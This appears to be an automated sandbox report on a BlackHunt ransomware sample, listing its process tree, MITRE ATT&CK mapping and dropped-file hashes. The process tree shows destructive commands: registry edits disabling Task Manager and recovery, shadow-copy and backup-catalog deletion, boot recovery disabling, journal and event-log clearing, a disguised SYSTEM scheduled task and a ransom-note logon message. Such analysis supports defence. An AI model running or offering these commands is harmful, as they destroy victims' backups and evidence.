  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe" /F
  2⤵
  PID:2436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2320
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    - Modifies registry class
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1200
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:908
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1912
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2056
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1964
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1940
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:932
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1696
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1696
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2436
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:924
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3060
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2972
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:268
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2836
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2560
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:676
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1120
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2164
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2588

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2976

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2196

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2772

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
3fb979d568566a95f77d93f1469276f1

SHA1
bd5cab7a09e3e27a3404ae80daa2a8d94168e7e8

SHA256
5bade8216e2d0192f572bf8b488968eb1bbc516046cba06e33ee846851547509

SHA512
f7283f0e63390209ac5afd8ffaced424616aba9d590cc5ba7f5cddaf5483d349479baca28233e3ae3d6e8201769a77d5ae2c259ba61d0b2f94dd69affec43236

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
4764da679b365463cc7dcfc961960bec

SHA1
1ad01cf26902c385a7289f06773e1b7cd36da5b5

SHA256
611b281dd27f831851a434a5e78d13a8808287ca1e128e558750d9e62bd731ef

SHA512
12d9cddf3ae362218161acc3b067a84bc4973e3f8a2e72ab74697018a6008c765efe659248b20885da6e9753726d0e3d84c3e89e65d73c4e2b67bea9007df1e7

Download Submit
\Device\HarddiskVolume1\#BlackHunt_Private.key

Filesize
1KB

MD5
601ad524fb4ffdeece5f153c35387c78

SHA1
b70051e44a7d9f73bc9927ae545680f3f46d66b1

SHA256
ce13c567129b4375284a31dbead42fd7a161d7df732d46319947c3fe45604c0c

SHA512
21c153f7e8240da9a6aeb7cd0cba638049e74d41a496285b4f4ba64f1072d4ccc97fdf372451bc37d05cbe54ef808110c50ec82505440df9365cee2e6360e21b

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads